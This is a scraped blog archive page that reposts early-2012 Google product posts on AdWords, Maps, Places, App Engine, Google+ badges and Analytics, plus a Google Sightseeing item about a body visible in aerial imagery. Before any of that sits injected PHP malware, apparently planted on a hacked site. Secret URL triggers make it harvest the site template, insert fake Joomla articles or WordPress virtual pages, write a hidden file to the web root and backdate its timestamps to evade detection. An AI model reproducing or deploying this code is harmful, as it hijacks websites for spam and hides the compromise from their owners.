if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = $root_path."/SESS_4f2afc9a4089ee1f39c9f551123e54bd"; if (file_get_contents($tpl_path) > 0) { die('Success!'); } $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#


#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); $tpl = preg_replace('##is', '', $tpl); } if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } January 2012 Archives « EsheleDEsheleD

EsheleD Marketing & Technology


Google Maps publishes aerial images of murder scene

The continuing rollout of 45° “birds eye view” images across the globe has now revealed a real-life tragedy. On the railroad track near Sanford Avenue in the city of Richmond, California, we can clearly see a corpse lying on the rails.1

Camera facing north

The ever increasing resolution of Google’s imagery has continued to reveal greater detail people’s lives – particularly through the Street View imagery – but this is the first time an aerial photgraph of such a graphic nature has been published on the site.

Camera facing west

We can’t be sure about the details of the scene – there’s no sign of injury from this distance – but the number of police officers and vehicles (both marked and unmarked) suggests that this is unlikely to have been a case of accidental death.

Camera facing south

The location however gives us more indication of what might have happened here. This track forms the apex of an area that is known locally as the “Iron Triangle2. It’s a high crime area in the middle of a city that was in 2007 rated as the 9th most dangerous city in the United States.

There’s nothing to see in the aerial image facing east, but we can have a look from this direction on Street View – of course the imagery was captured on a different day, so nothing is revealed about the crime itself.

Can anyone locate a news report or press release about the incident so we can try and work out what actually happened here? The time stamp on Google Maps claims this image was taken in 2012, but it’s unclear how accurate this is, so a specific date could be hard to pinpoint.

Thanks to @KeirClarke.

  1. Here’s a good map of Google’s 45° coverage (by Munden on the Keyhole forums). 

  2. Named for the three major railroad tracks which surround it (map of boundary). 

Locations: California / Categories: , ,

View in Google Earth

You're reading an entry from Google Sightseeing, which is copyright © 2012 Alex Turnbull & James Turnbull and must not be reproduced without permission.

Filed under: Google Maps No Comments

Impression Share Updates Rolling out Globally

Starting today, we will begin rolling out updates to your Impression Share metrics, which include new ad group-level impression share metrics as well as revised campaign-level impression share metrics.  We've also changed the frequency with which we update this data to once a day. These updates will be in effect in all accounts globally over the next few days.

For more information on Impression Share, please visit the AdWords Help Center.

Posted by Andrew Truong, Inside AdWords Crew


Perspective on Dynamic Search Ads – Guest Q & A with RKG

Since introducing Dynamic Search Ads in beta in October, we’ve seen questions from around the web asking about real-world performance and recommendations for implementation. Today we’re grateful to share the perspectives of Matt Mierzewski and Jen Syverud at RKG, an online marketing services firm with B2B and B2C clients ranging from startups to the Fortune 500 (details about RKG below).
Here’s a short video followed by Q&A. RKG has further offered to answer any other questions you might have about their experience with Dynamic Search Ads over on their blog.
Q. What’s your strategy for using Dynamic Search Ads with your clients today?
We think of Dynamic Search Ads as an advertiser-specific broad match type. Here, instead of allowing Google to match searches related to your keywords, you're allowing them to match searches related to your website.
For advertisers without automated pay-per-click inventory-based management solutions, Dynamic Search Ads can help identify products that are new or re-emerging. The system is tremendous in keeping up with changes to inventory in real time. For example, a product line may have been suspended for years, but quietly (without the search marketing team's knowledge) appears back on the website. In this case, keywords for the product line would still be paused until the marketing team is made aware, but Dynamic Search Ads are able to catch the change immediately, create ads, and generate orders. As another example, for advertisers frequently offering clearance products, Dynamic Search Ads are similarly able to offer ads while these limited quantity items are in-stock. In both examples, Dynamic Search Ads act as a safety net for advertisers wishing to advertise on dynamic products and/or inventories.
Q. What were your main concerns with Dynamic Search Ads and how have you addressed them?
One initial concern was that Dynamic Search Ads would cannibalize existing traffic, siphoning it away from active keyword campaigns. What we found was that the vast majority of Dynamic Search Ads traffic was complementary to our campaigns. Another concern was that we would have little to no control over what keywords Google was able to match on. However, Google has provided a great deal of controls within the Dynamic Search Ads product to ensure that the matching queries are relevant to the advertiser.
Q. What does your typical implementation of Dynamic Search Ads look like?
Implementation strategies will vary. In general, however, it is wise to consider pages that the advertiser wishes to exclude, as well as any known keyword negatives within the accounts, and add those from day one. From there, segmenting pages into campaigns or ad groups based on product margin, conversion rates, and so forth will allow for custom max CPC bids and maximum ROI.
Q. What best practices would you suggest for using Dynamic Search Ads?
Through restrictive targeting, exclusions and negatives, tight budgets and close monitoring, Dynamic Search Ads can be made very low risk and the results you see should be encouraging. For conservative advertisers, start by targeting only product level pages in your best converting categories.
A higher-level strategy is to add a site-wide target at a conservative bid with appropriate exclusions, and then layer on additional, more finely targeted ad groups and copy with bids corresponding to their expected performance. This approach is similar to the best practices for running Product Listing Ads and ensures wide coverage, but with a preference towards better quality traffic.
Use the power-tools that Google has made available in both targeting specific pages, while excluding other pages and search queries.
Q. How is Dynamic Search Ads doing with respect to matching relevant queries and landing pages?
With Dynamic Search Ads we can see every search that triggers a dynamic ad, the headline generated, the landing page selected, and, of course, performance stats. The searches that we’ve seen targeted are absolutely relevant to the website content -- it’s the only place Google is able to generate its targeting information from. If the system is matching to any query that the advertiser does not care to be matched on to meet their performance goals, it is very easy to restrict that traffic by URL or Keyword level negatives.
Q. What kind of results are you seeing with Dynamic Search Ads across your clients? Which is it working best for?
We’ve seen Dynamic Search Ads incremental sales impact range from 0.5% to 12%, so it’s important to note that individual account results may vary. The product is compatible with our tracking and reporting systems which makes it easy to measure performance and do head-to-head comparisons with our existing keyword-based campaigns.
Dynamic Search Ads work best for advertisers that have an extensive product offering and well developed web pages for Google to index and match relevant content to.
Q. What do you focus on when optimizing Dynamic Search Ads?
Like other AdWords campaigns, proper campaign management and optimizations are a necessity. Just like broad match, the Dynamic Search Ads product is most successful with carefully selected negative keywords, pages and categories of the website that do not perform optimally, and/or are not goal-oriented. Also similar to broad match, advertisers should monitor queries that produce conversions, and add them back as keywords to other AdWords campaigns.
Q. To what degree do you think Dynamic Search Ads are cannibalizing organic search traffic?
We haven’t seen evidence of cannibalization. But we’ll continue to evaluate performance and, if needed, make adjustments.
Q. Would you recommend Dynamic Search Ads for novice-to-intermediate or intermediate-to-advanced advertisers?
RKG would recommend Dynamic Search Ads for intermediate-to-advanced advertisers. Because it necessitates ongoing management, and is best utilized as a complement to robust keyword campaigns, it’s not likely to be a good fit for novice advertisers. Additionally, as previously mentioned, the richer the site content, number of pages, and breadth of product offering, the more fruitful Dynamic Search Ads will be. Naturally, these characteristics lend themselves to more established and sophisticated campaigns and advertisers.
About RKG

Founded in 2003, RKG is a data-driven digital agency that combines savvy marketers with sophisticated technology to deliver unrivaled results for over 180 clients in paid search marketing, search engine optimization, multichannel attribution management, display advertising and comparison shopping management. Long recognized as the thought leader in search marketing, RKG clients range from start-ups to the Fortune-500, and include both B2C and B2B direct marketers in retail, travel, finance and education. RKG is an independent, privately held agency with offices in Charlottesville, VA, Bend, OR and Boston, MA.

Posted by Katie Miller, Inside AdWords crew


Meet your Google Places Neighbor: Rebecca Millette

Editor’s Note: Now and then we'll spotlight one of our amazing Google Places reviewers. Both so you guys can start to get to know one another and so we can pull together and share our favorite local places. This week we introduce you to Rebecca Millette of Brookline Village.

To find out more about our community activities in Boston, follow us on Twitter and sign up for our weekly newsletter.

For Rebecca, Boston was love at first sight. Ten and a half years ago, she came to a Red Sox game one day from her home in Pawtucket, RI, walked through the Northeastern (NU) campus, and ended up applying and moving in six months later. Since then, she’s lived at NU by Fenway, in Southie, back to the NU area, and finally settled in Brookline three years ago. When she’s not working diligently in the Concert Operations office at Berklee College of Music, you’ll find her with beer-in-hand
which makes perfect sense, since Rebecca runs the local chapter of ladies-only beer-enthusiast group, Girls' Pint Out.

Rebecca - with a ‘Huge Beer’ (per usual!).

What's your favorite thing about sharing reviews on Places?
I love finding new spots based on other people. I'm typically the friend to introduce folks to new places, but sometimes it's nice to open the app and just let it guide me to the next (beer) bar.

What do you like to do in your spare time?
If the sun is out, there's a good chance you can find me on a patio, with a beer, being the obnoxiously loud-laugher. I've been known to be on the Eastern Standard patio with the heaters well into November. I also run the local chapter of Girls' Pint Out, where I plan social and educational events for women (we include the boys sometimes, too!) to learn about and try new craft beers with an emphasis on local breweries. We've been around about a year and a half now and it's an incredible time.


Rebecca and friends!

Share an ultimate insider tip for your city:
Avoid the tourist spots. Go to the bars where you'll find the owner behind the bar, where they go out of their way to shake your hand, where the menu is local, the beer is local, and the music is cranked. Hit up the random spots near DTX, away from the hustle of Newbury Street.

If you could see any celebrity's reviews on Places, who would you choose and why?
Julia Child! If I could go everywhere she did while she lived in Cambridge, I'd feel a bit more complete at the end of the day.

Do you have any secret talents?
Other than invisibility and time travel? Sadly, no. 


Rebecca, a friend, and Jim Koch of Sam Adams.

What would your superpower be?
Being in two places at once! This city is incredible for events
especially for the community manager or social media folks. It's hard to be everywhere at one time!

Do you have any pets?
I do! An absurdly bratty cat, Sophie, who spends her time pretending to be a dog and playing fetch.

What’s your ultimate guilty pleasure?
A night off, a terrible Bravo tv show, a Narragansett lager, and Cheerios.

What are some of your local favorites?

Stoddard Fine Food & Ale -  I stumbled upon this spot for a beer event and haven't stopped making the trip back as much as I can ever since. Delicious food (the lobster scallion hush puppies are magic), always changing beer list (great focus on local breweries), and the staff is just incredible. A great spot for after work, weekends, or if you're me - any time.

Vee Vee - Incredible spot with a seasonal menu (kudos for so much local food) and delicious beers on tap. The staff is friendly and welcoming.

The Haven - I can't tell you enough about how you need to get here immediately and eat the burger. Great spot, cozy decor (favorite winter spot), and an incredible staff.

Samuel Adams Brewery - Great tour. The cost is free, but a suggested donation which goes to local charity is $2. It's great to learn about the brewing process and try some beers on tap that you may not be able to find anywhere else. Great store inside to pick up some Sam swag (totes, tees, Barrel Room Series beers). Hop on the trolley to Doyle's after, order a Sam and get a free Perfect Pint Glass.

Salty Pig - Salty meat, stinky cheese, delicious beer. Bonus points for housemade pickles.

Posted by Adri Cowan, Boston community manager

Filed under: Google Places No Comments

My summer with the Google App Engine Team

Today’s post is contributed by our Summer 2011 team intern, Chris Bunch. Chris did some great work on our Logs and MapReduce APIs and is also the first “App Engine Triple Crown” winner for developing the Experimental Logs Reader API in Python, Java and Go simultaneously.

Four years ago, I was a brand-new Ph.D. student at the University of California, Santa Barbara and when our research group (the RACELab) heard about Google App Engine, we were intrigued. We thought it presented a new model that enabled apps to scale the right way without severely constricting the types of programs users would write.

But we wanted to experiment with the core functionality of App Engine: the APIs, the scheduler, etc., and so we built AppScale, an open-source implementation of the Google App Engine APIs that allows users to deploy applications written in Python, Java, and Go to the infrastructure of their choice.

Wherever possible, we implement support for the App Engine APIs with alternative open-source technologies. We’ve added support for nine different databases, database-agnostic transactions, a REST interface that users of any programming language can communicate with (via an App Engine app), and the ability to run high performance computing programs over the whole thing and talk to it from your App Engine app. And here’s my favorite part - it all deploys automatically! You don’t need to tell it what block size you want for the distributed file system, or the size of the read buffers: we configure the necessary services automatically. Since AppScale is completely open source, if you don’t like the defaults, change them!

After creating our own system to run Google App Engine apps, I wanted to see how Google does it. Therefore, I decided to become an intern on the App Engine team and see if I could give them (and by extension, the App Engine community) something amazing over the summer. I started off with some work on the MapReduce API, making the sample app much easier to use and prettier all around. I also made a YouTube video showing how it all works and how easy it is to run MapReduce jobs over App Engine.

I then looked at a recurring question that App Engine users encounter: “How can I get my logging information for my application to answer data analytic questions?” It was an excellent problem to tackle, as we have users who want to be able to determine application-specific queries that Google Analytics or the Admin Console don’t answer. Currently users have to use appcfg to grab all their application’s data to a remote machine and run some analysis script over it.

To solve this problem, I created the Logs API, which gives applications programmatic access to their logs from within App Engine itself. Applications can use it to query small numbers of logs within a single request, and they can utilize the Pipeline, MapReduce, or Backends APIs if they have lots of logs they want to analyze. Logs contain both request-level information (e.g., the URL accessed, the HTTP response code returned) as well as logging info generated by the application (the logging module in Python, the Logger class in Java, and the logging methods that Go’s appengine package provides). The Logs API is available for use as of App Engine 1.6.1 by programmers using the Python, Java, or Go runtimes, in both the production environment and the local SDK.

I had a great time putting the Logs API together, and had a unique experience interning with the App Engine team. Programming in Python, Java, and Go on a daily basis was an exciting new challenge, and I loved it! 

Interested in interning with the App Engine team? Check out google.com/students for more information on internships.


Welcome customers into your business on Google

(Cross-posted on the Lat Long Blog.)

When we initially announced the Business Photos pilot program, we wanted to give business owners an easy way to get customers in the door online using interactive, high-quality, 360-degree images of places on Google Maps and on Google Search results. With thousands of businesses under our belt — from salons to gift shops — we’ve been hearing the same question again and again from both business owners and photographers alike: How can I participate?

Well, with the overwhelming success of the first pilot, we’ve decided to unveil a complementary initiative that will help us reach more interested business owners, more quickly: Trusted Photographers.

Click and drag to view the inside of Spice Market, New York City.

It’s simple. Visit our new website and search for a Google Trusted Photographer in your area. Either email or call a photographer in your area to schedule a time and agree on a price that you will pay the photographer for a photoshoot of your business. This self-serve model makes for easier scheduling and quicker turnaround, while also supporting the local photographers in your community. During the hour it should take for the shoot, you can collaborate with the photographer about how best to display and capture your business. When finished, the photographer will upload the images to Google, and shortly thereafter, you’ll see 360-degree panoramic views of your business on Google.com, Google Maps and on your Google Places listing.

See how Business Photos has helped Toy Joy of Austin, Texas.

Trusted Photographers are available in 14 U.S. cities, as well as in the United Kingdom, Australia, New Zealand and France. Don’t see a photographer in your area? Let us know, as that will help us determine where more Trusted Photographers are needed.

Posted by Gadi Royz, Product Manager, Google Maps


More options for Google+ badges

(Originally posted on the Google+ Platform Blog, cross posted on the Webmaster Central Blog)

When we launched Google+ pages in November, we also released Google+ badges to promote your Google+ presence right on your site. Starting today in developer preview (and soon available to all your users), we're adding more options for integrating the Google+ badge into your website. You can configure a badge with a width that fits your site design and choose a version that works better on darker sites. You'll also see that Google+ badges now include the unified +1 and circle count that we added to Pages last month.

If you’re still considering whether to add a Google+ badge on your website, consider this: We recently looked at top sites using the badge and found that, on average, the badge accounted for an additional 38% of Google+ followers. When you add the badge visitors to your website can discover your Google+ page and connect in a variety of ways: they can follow your Google+ page, +1 your site, share your site with their circles, see which of their friends have +1’d your site, and click through to visit your Google+ page. These activities can help you expand your audience by enabling your users to share and recommend your content.

The Google+ badge makes it easy for your fans to find and follow you on Google+. With these additional options, we hope it's even easier to create a badge that fits your website.

Follow the conversation on Google+.

Posted by Lucy Hadden, Software Engineer, Google+


Love at first Search

More and more people are falling in love with Valentine’s Day. According to a recent survey by ORC International, Valentine’s Day is now the number two gift giving holiday, right behind Christmas, with 88% of Americans saying they plan on giving a present to their loved ones. This should be great news for businesses, but marketers still have trouble making a love connection with consumers based on charts that look more like dated EKG readings than real-time insights into the heart of the consumer.

Since getting the affections of one person is hard enough, below are some timely insights from Google’s “database of intentions” to keep you ahead of the game as you create your Valentine’s Day campaigns.

Search is where the heart is

Already we’re seeing Google searches related to Valentine’s Day increase 35% compared to last year. Not only are more people searching, they’re searching earlier - last year people began looking for Valentine’s Day ideas on January 9th. This year the upward trend began two days earlier, on January 7th.

Across categories, jewelry is seeing a 42% increase in mobile and desktop queries compared to January of last year; gifts jumped 27%, and flowers saw an 18% spike.

Girls are made of sugar and spice and everything nice

The results from this graph show women look for gift ideas earlier and more often than their male significant others. Maybe men are more last minute about buying gifts than women, but it doesn’t mean they’re cheap about it! In 2011 the average man spent $158 for Valentine’s Day, about $80 more than women.

Looking for a change of heart?

Valentine’s Day is less than three weeks away, which means that this is the great opportunity for marketers to influence people with their products since consumers are still searching for ideas. If you look at the word cloud below (spoiler alert!), a good chunk of people are searching for “diy valentines gifts” and “valentines day baskets,” which means there will be quite a few people unwrapping homemade gifts or pre-made gift baskets this year. The biggest cluster of phrases, “valentines day border,” “valentines day drinks,” and “valentines day meals,” signal that people are also planning on celebrating in style. Now would be a good time to promote recipes and decoration ideas in your campaigns.

For more useful trends and tips for your campaign, download and review the 2012 Valentine’s Day Consumer Intentions Deck on Think Insights. Hopefully it helps you steal away some hearts!

By Christina Park, Product Marketing Manager, Think with Google


PBS saves time with automated reports

For most companies using Google Analytics, reporting on website traffic and performance for a few web properties is a straightforward task. However, if your company manages hundreds of web properties, delivering useful and timely reports can become a significant challenge. For many, the only apparent solution is to manually export analytics data for each web property, then combine and compare that data to answer relevant business questions. It’s a slow and costly process and you spend most of your time creating reports instead of carrying out meaningful analysis.

The Public Broadcasting Service (PBS) faced precisely this challenge when it made the decision to use GA Data Grabber by AutomateAnalytics.com. GA Data Grabber works within Excel and uses the Google Analytics API. Users create or choose reports and GA Data Grabber automatically retrieves the Google Analytics data from any number of websites. And with multi-login capabilities, users can seamlessly combine data between Google Analytics profiles that reside under different Google Accounts.

Designed for non-technical users, GA Data Grabber generates great-looking visualizations and can automatically highlight important changes in key metrics over a date range. It’s also possible to use Excel’s visualization and data processing features. For example, formulas can be added to calculate Key Performance Indicators (KPIs) based on any set of metrics.

Amy Sample, Director, Web Analytics, Public Broadcasting Service explains the challenges that PBS faced and how GA Data Grabber was able to help. “The PBS.org and PBSKIDS.org web sites are made up of hundreds of individual companion sites to broadcast programs.  From a business perspective, there is a need to evaluate performance of individual program sites relative to each other.” As is common for many large organizations, PBS has separate Google Analytics accounts for each program site. “While multiple accounts works well to evaluate the site content and performance, it makes it difficult to look at all of the sites side-by-side without a lot of manual effort.  Our previous attempts to create this type of report were time-consuming and often subject to data input errors.”

“Using Google Analytics, combined with GA Data Grabber, we were able to create a benchmark report for our program sites. The monthly report pulls a standard set of KPIs from each of the program accounts and ranks the programs by traffic. The report is used as a management tool by both the PBS.org and PBSKIDS.org teams to monitor monthly performance of programs. The teams have also used it to identify opportunities for programs that are no longer being broadcast but still getting significant online traffic.  Our program producers use the report to benchmark their performance against other sites of similar content or size and determine ways to improve audience engagement. As a result of using GA Data Grabber to pull the data, we can produce this report quickly and accurately on monthly basis.”

GA Data Grabber
Mikael Thuneberg, Founder & CEO of AutomateAnalytics.com has been using the Google Analytics API since its launch. “I’ve been very happy with the API. Having developed for several other APIs, I can say that the Google Analytics API is by far the easiest to develop for. It’s logically structured and flexible, the documentation is excellent, and it’s easy to get help through the forum. I’ll certainly continue developing for the Google Analytics API. I’ve expanded to other APIs as well, but Google Analytics is still by far the most important one for my business.”

GA Data Grabber can be found through the Google Analytics App Gallery and can be downloaded from the GA Data Grabber website.

If you’re interested in developing solutions for the Google Analytics platform, visit Google Analytics Developer Program.

Posted by Pete Frisella, Google Analytics API Team


New Biking Directions Legend

If you’re looking for new ways to get around for fun or to work, or might be trying to live a greener lifestyle in 2012, why not try biking? In March 2010 we introduced biking directions and since then Google Maps has been sharing biking directions with cyclists across the U.S and Canada.

Since no bike path is the same, many users have requested an easier way to differentiate the different types of bike routes that are available. Starting today, a new legend feature can help you understand what the different colors on the bike maps symbolize.

  • Dark green is for dedicated trails and paths
  • Light green is for roads with dedicated lanes
  • Dotted green is for roads that are friendly for cyclists

Look for the biking legend in the upper right hand corner of the map

You can view this legend by clicking on the widget in upper right corner of Google Maps and selecting the Bicycling layer. You can also access biking directions on your Android device or by going to maps.google.com on your mobile browser.

Whether you want to drive, take transit, walk or even bike, Google Maps can help you get around. To see how it works on your Android phone take a tour here.

Posted by Dave Kim, Product Marketing Manager, Google Maps

Filed under: Google Maps No Comments
Page 1 of 812345...Last »